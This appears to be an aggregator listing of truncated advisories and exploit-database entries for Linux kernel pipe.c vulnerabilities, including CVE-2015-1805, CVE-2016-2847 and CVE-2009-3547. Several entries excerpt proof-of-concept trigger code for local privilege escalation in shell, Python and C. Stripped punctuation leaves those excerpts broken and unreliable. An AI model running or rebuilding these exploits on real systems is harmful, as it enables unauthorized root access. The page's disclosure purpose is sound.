K17458: Linux kernel vulnerability CVE-2015-1805

Security Advisory Description The 1 piperead and 2 pipewrite implementations in fs/pipe.c in the Linux kernel before 3.16 do not properly consider the side effects of failed copytouserinatomic and copyfromuserinatomic calls, which allows local users to cause a denial of service system crash or...

ASB-A-244395411

In piperesizeresults of pipe.c, there is a possible UAF bug caused by a race condition. This could lead to local denial of service and local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation...

Huawei EulerOS: Security Advisory for kernel (EulerOS-SA-2019-1671)

The remote host is missing an update for the Huawei EulerOS SPDX-FileCopyrightText: 2020 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Design/Logic Flaw

fs/pipe.c in the Linux kernel before 4.5 does not limit the amount of unread data in pipes, which allows local users to cause a denial of service memory consumption by creating many pipes with non-default sizes...

CVE-2016-2847

CVE-2016-2847 affects the Linux kernel, where fs/pipe.c does not cap unread data in pipes, enabling local users to cause memory exhaustion and a denial of service. The description and connected sources confirm the vulnerability lies in the per-user pipe data handling and that the risk is local Do...

CVE-2016-2847

fs/pipe.c in the Linux kernel before 4.5 does not limit the amount of unread data in pipes, which allows local users to cause a denial of service memory consumption by creating many pipes with non-default sizes...

CVE-2015-1805

The 1 piperead and 2 pipewrite implementations in fs/pipe.c in the Linux kernel before 3.16 do not properly consider the side effects of failed copytouserinatomic and copyfromuserinatomic calls, which allows local users to cause a denial of service system crash or possibly gain privileges via a...

CVE-2015-1805

CVE-2015-1805 covers a local elevation/DoS flaw in the Linux kernel where the pipe_read/pipe_write paths in fs/pipe.c mishandle side effects from failed __copy_to_user_inatomic and __copy_from_user_inatomic calls. The issue permits a local user to crash the system or potentially gain privileges v...

Linux Kernel 'pipe.c' - Local Privilege Escalation Vulnerability

No description provided by source. while : ; do echo y ; sleep 1 ; | while read ; do echo z$REPLY; done ; & PID=$! OUT=$ps -efl | grep 'sleep 1' | grep -v grep | read PID REST ; echo $PID; OUT=$OUT%% DELAY=$RANDOM 1000 / 32768 usleep $DELAY 1000 + RANDOM % 1000 echo n /proc/$OUT/fd/1 Trigger defe...

Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 - Pipe.c Privelege Escalation

No description provided by source. This is a PoC based off the PoC release by Earl Chew Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability PoC by Matthew Bergin Bugtraq ID: 36901 import os import time import random infinite loop while i == 0: os.systemsleep 1 while x == 0:...

Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation

/ expmoosecox.c Watch a video of the exploit here: http://www.youtube.com/watch?v=jt81NvaOj5Y developed entirely by Ingo Molnar exploit writer extraordinaire! , thanks to Fotis Loukos for pointing the bug out to me -- neat bug! : dedicated to the Red Hat employees who get paid to copy+paste my...

Linux Kernel 2.6.10 2.6.31.5 - pipe.c Local Privilege Escalation

Linux Kernel 2.6.10 2.6.31.5 - pipe.c Local Privilege Escalation / expmoosecox.c Watch a video of the exploit here: http://www.youtube.com/watch?v=jt81NvaOj5Y developed entirely by Ingo Molnar exploit writer extraordinaire! , thanks to Fotis Loukos for pointing the bug out to me -- neat bug! :...

Scientific Linux Security Update : kernel on SL5.x i386/x86_64

CVE-2009-2695 kernel: SELinux and mmapminaddr CVE-2009-3228 kernel: tc: uninitialised kernel memory leak CVE-2009-3286 kernel: OEXCL creates on NFSv4 are broken CVE-2009-2908 kernel ecryptfs NULL pointer dereference CVE-2009-3613 kernel: flood ping cause out-of-iommu error and panic when mtu larg...

Linux pipe.c Privilege Escalation

while : ; do echo y ; sleep 1 ; | while read ; do echo z$REPLY; done ; & PID=$! OUT=$ps -efl | grep 'sleep 1' | grep -v grep | read PID REST ; echo $PID; OUT="$OUT%% " DELAY=$RANDOM 1000 / 32768 usleep $DELAY 1000 + RANDOM % 1000 echo n /proc/$OUT/fd/1 Trigger defect done...

Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability

No description provided by source. while : ; do echo y ; sleep 1 ; | while read ; do echo z$REPLY; done ; & PID=$! OUT=$ps -efl | grep 'sleep 1' | grep -v grep | read PID REST ; echo $PID; OUT="$OUT%% " DELAY=$RANDOM 1000 / 32768 usleep $DELAY 1000 + RANDOM % 1000 echo n /proc/$OUT/fd/1 Trigger...

Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)

while : ; do echo y ; sleep 1 ; | while read ; do echo z$REPLY; done ; & PID=$! OUT=$ps -efl | grep 'sleep 1' | grep -v grep | read PID REST ; echo $PID; OUT="$OUT%% " DELAY=$RANDOM 1000 / 32768 usleep $DELAY 1000 + RANDOM % 1000 echo n /proc/$OUT/fd/1 Trigger defect done...

Linux Kernel 2.6.32 - pipe.c Local Privilege Escalation (4)

Linux Kernel 2.6.32 - pipe.c Local Privilege Escalation 4 while : ; do echo y ; sleep 1 ; | while read ; do echo z$REPLY; done ; & PID=$! OUT=$ps -efl | grep 'sleep 1' | grep -v grep | read PID REST ; echo $PID; OUT="$OUT%% " DELAY=$RANDOM 1000 / 32768 usleep $DELAY 1000 + RANDOM % 1000 echo n...

Linux 2.6.x fs/pipe.c local root exploit

No description provided by source. For those who were not yet aware, there is at least 3 public exploits since 11/05/2009 for CVE-2009-3547 targeting all linux kernels from 2.6.0 to 2.6.31 included. Since spender and fotis have already release their own, there is not need for us to keep this on o...

Linux Kernel pipe.c Local Privilege Escalation

This is a PoC based off the PoC release by Earl Chew Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability PoC by Matthew Bergin Bugtraq ID: 36901 import os import time import random infinite loop while i == 0: os.system"sleep 1" while x == 0: time.sleeprandom.random random int 0.0-1.0 p...

Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation

Exploit for unknown platform in category local exploits ========================================================================== Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation ========================================================================== Title: Linux...